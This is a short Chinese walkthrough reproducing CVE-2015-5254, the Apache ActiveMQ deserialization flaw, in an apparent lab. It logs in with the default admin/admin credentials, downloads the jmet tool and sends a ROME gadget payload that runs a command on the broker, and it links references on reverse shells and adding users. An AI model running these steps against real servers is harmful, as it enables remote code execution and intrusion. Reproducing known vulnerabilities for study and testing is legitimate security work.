CVE-2015-5254（ActiveMQ 反序列化漏洞）复现

漏洞介绍

Apache ActiveMQ是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持Java消息服务，集群，Spring Framework等。Apache ActiveMQ5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务（JMS）ObjectMessage对象利用该漏洞执行任意代码。

漏洞复现

http://10.7.10.41:8161/admin
默认账号密码：admin

登陆成功

首先在kali里执行

cd /opt  
//进入根目录得opt
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
//下载可能会因为github失败，可以百度设置一下host
mkdir external
//新建文件external

完成：

执行下面语句报错了

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 10.7.10.41 61616

-Q指定队列消息名，-I指定JMS客户端，这里是ActiveMQ，-Y指定具体的命令，-Yp指定payload类型，其后分别是ActiveMQ所在机器的ip及工作端口

然后访问下面网址

http://10.7.10.41:8161/admin/browse.jsp?JMSDestination=event

点击执行命令
参考文章：
https://blog.51cto.com/14259169/2457626
https://www.bbsmax.com/A/Gkz1mgLQzR/（反弹shell、新建用户）